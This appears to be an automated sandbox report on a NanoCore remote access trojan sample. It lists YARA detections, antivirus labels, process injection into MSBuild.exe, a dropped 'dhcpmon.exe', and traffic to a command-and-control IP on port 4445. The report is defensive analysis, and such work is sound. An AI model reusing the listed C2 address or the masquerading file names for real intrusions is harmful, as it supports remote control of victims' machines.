Show sources

Source: Yara match	File source: 00000002.00000002.484247616.0000000005720000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.475482671.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.219500091.0000000000B50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.482810571.0000000003BF7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NAO09009009.exe PID: 5896, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 1240, type: MEMORY
Source: Yara match	File source: 2.2.MSBuild.exe.3bf9c5e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.3bfea94.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NAO09009009.exe.b50000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.3c030bd.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.5724629.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.5720000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.5720000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NAO09009009.exe.b50000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.3bfea94.5.raw.unpack, type: UNPACKEDPE

Machine Learning detection for sample

Show sources

Source: NAO09009009.exe

Joe Sandbox ML: detected

Source: 2.2.MSBuild.exe.5720000.8.unpack	Avira: Label: TR/NanoCore.fadte
Source: 2.2.MSBuild.exe.400000.0.unpack	Avira: Label: TR/Dropper.MSIL.Gen7

Source: NAO09009009.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

Jump to behavior

Source: NAO09009009.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: indows\MSBuild.pdbpdbild.pdbz source: MSBuild.exe, 00000002.00000002.478510030.0000000002815000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdbUGP source: NAO09009009.exe, 00000000.00000003.214379860.00000000030D0000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: NAO09009009.exe, 00000000.00000003.214379860.00000000030D0000.00000004.00000001.sdmp
Source:	Binary string: indows\mscorlib.pdbpdblib.pdb source: MSBuild.exe, 00000002.00000002.478510030.0000000002815000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.pdb source: MSBuild.exe, 00000002.00000002.478510030.0000000002815000.00000004.00000040.sdmp
Source:	Binary string: f:\dd\vsproject\xmake\XMakeCommandLine\objr\i386\MSBuild.pdb source: dhcpmon.exe, dhcpmon.exe.2.dr
Source:	Binary string: mscorrc.pdb source: MSBuild.exe, 00000002.00000002.484083545.0000000005430000.00000002.00000001.sdmp

Source: C:\Users\user\Desktop\NAO09009009.exe	Code function: 0_2_00405C4E CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C4E
Source: C:\Users\user\Desktop\NAO09009009.exe	Code function: 0_2_0040689A FindFirstFileW,FindClose,	0_2_0040689A
Source: C:\Users\user\Desktop\NAO09009009.exe	Code function: 0_2_00402902 FindFirstFileW,	0_2_00402902

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	URLs:
Source: Malware configuration extractor	URLs: 185.222.57.171

Source: global traffic

TCP traffic: 192.168.2.3:49715 -> 185.222.57.171:4445

Source: Joe Sandbox View

IP Address: 185.222.57.171 185.222.57.171

Source: Joe Sandbox View

ASN Name: ROOTLAYERNETNL ROOTLAYERNETNL

Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.122.145.220

Source: dhcpmon.exe, 00000009.00000002.226502855.000000000129C000.00000004.00000020.sdmp, dhcpmon.exe, 0000000B.00000002.239160267.0000000001132000.00000004.00000020.sdmp	String found in binary or memory: http://go.microsoft.
Source: dhcpmon.exe, 00000009.00000002.226502855.000000000129C000.00000004.00000020.sdmp, dhcpmon.exe, 0000000B.00000002.239160267.0000000001132000.00000004.00000020.sdmp	String found in binary or memory: http://go.microsoft.LinkId=42127
Source: NAO09009009.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49689
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49688
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49689 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: C:\Users\user\Desktop\NAO09009009.exe

Code function: 0_2_004056E3 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004056E3

Source: dhcpmon.exe, 00000009.00000002.226474249.0000000001268000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: MSBuild.exe, 00000002.00000002.484247616.0000000005720000.00000004.00000001.sdmp

Binary or memory string: RegisterRawInputDevices

E-Banking Fraud:

Yara detected Nanocore RAT

Show sources

Source: Yara match	File source: 00000002.00000002.484247616.0000000005720000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.475482671.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.219500091.0000000000B50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.482810571.0000000003BF7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NAO09009009.exe PID: 5896, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 1240, type: MEMORY
Source: Yara match	File source: 2.2.MSBuild.exe.3bf9c5e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.3bfea94.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NAO09009009.exe.b50000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.3c030bd.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.5724629.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.5720000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.5720000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NAO09009009.exe.b50000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.3bfea94.5.raw.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000002.00000002.484138546.0000000005490000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000002.00000002.484247616.0000000005720000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000002.00000002.475482671.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000002.00000002.475482671.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000000.00000002.219500091.0000000000B50000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000000.00000002.219500091.0000000000B50000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000002.00000002.482810571.0000000003BF7000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: NAO09009009.exe PID: 5896, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: Process Memory Space: NAO09009009.exe PID: 5896, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: MSBuild.exe PID: 1240, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: Process Memory Space: MSBuild.exe PID: 1240, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 2.2.MSBuild.exe.3bf9c5e.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 2.2.MSBuild.exe.3bf9c5e.4.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 2.2.MSBuild.exe.3bfea94.5.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0.2.NAO09009009.exe.b50000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0.2.NAO09009009.exe.b50000.3.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 2.2.MSBuild.exe.2bc1718.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 2.2.MSBuild.exe.3c030bd.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 2.2.MSBuild.exe.5724629.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 2.2.MSBuild.exe.5720000.8.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 2.2.MSBuild.exe.5720000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 2.2.MSBuild.exe.5490000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 2.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 2.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0.2.NAO09009009.exe.b50000.3.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0.2.NAO09009009.exe.b50000.3.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 2.2.MSBuild.exe.3bfea94.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 2_2_028416DA NtQuerySystemInformation,		2_2_028416DA
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 2_2_0284169F NtQuerySystemInformation,		2_2_0284169F

Source: C:\Users\user\Desktop\NAO09009009.exe

Code function: 0_2_004035D8 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_004035D8

Source: C:\Users\user\Desktop\NAO09009009.exe	Code function: 0_2_00406C5B	0_2_00406C5B
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 2_2_00962477	2_2_00962477
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 2_2_00977ABE	2_2_00977ABE
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 2_2_00F23850	2_2_00F23850
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 2_2_00F289D8	2_2_00F289D8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 2_2_00F2B3C0	2_2_00F2B3C0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 2_2_00F223A0	2_2_00F223A0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 2_2_00F22FA8	2_2_00F22FA8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 2_2_00F2306F	2_2_00F2306F
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 2_2_00F295D8	2_2_00F295D8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 2_2_00F2969F	2_2_00F2969F
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 7_2_048D0708	7_2_048D0708
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Code function: 9_2_00B2692F	9_2_00B2692F
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Code function: 9_2_00B26950	9_2_00B26950
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Code function: 9_2_00B26D08	9_2_00B26D08
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Code function: 9_2_02D70708	9_2_02D70708
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Code function: 11_2_009E6950	11_2_009E6950
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Code function: 11_2_009E6D08	11_2_009E6D08
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Code function: 11_2_009E692F	11_2_009E692F
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Code function: 11_2_02C50708	11_2_02C50708

Source: NAO09009009.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: NAO09009009.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: dhcpmon.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: dhcpmon.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: dhcpmon.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: NAO09009009.exe, 00000000.00000003.210865699.000000000333F000.00000004.00000001.sdmp

Binary or memory string: OriginalFilenamentdll.dllj% vs NAO09009009.exe

Source: NAO09009009.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: 00000002.00000002.484138546.0000000005490000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000002.00000002.484138546.0000000005490000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000002.00000002.484247616.0000000005720000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000002.00000002.484247616.0000000005720000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000002.00000002.475482671.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000002.00000002.475482671.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000000.00000002.219500091.0000000000B50000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000000.00000002.219500091.0000000000B50000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.219500091.0000000000B50000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000002.00000002.482810571.0000000003BF7000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: NAO09009009.exe PID: 5896, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: Process Memory Space: NAO09009009.exe PID: 5896, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: MSBuild.exe PID: 1240, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: Process Memory Space: MSBuild.exe PID: 1240, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 2.2.MSBuild.exe.3bf9c5e.4.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 2.2.MSBuild.exe.3bf9c5e.4.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.MSBuild.exe.3bf9c5e.4.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 2.2.MSBuild.exe.3bfea94.5.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 2.2.MSBuild.exe.3bfea94.5.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.NAO09009009.exe.b50000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0.2.NAO09009009.exe.b50000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.NAO09009009.exe.b50000.3.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 2.2.MSBuild.exe.2bc1718.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 2.2.MSBuild.exe.2bc1718.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
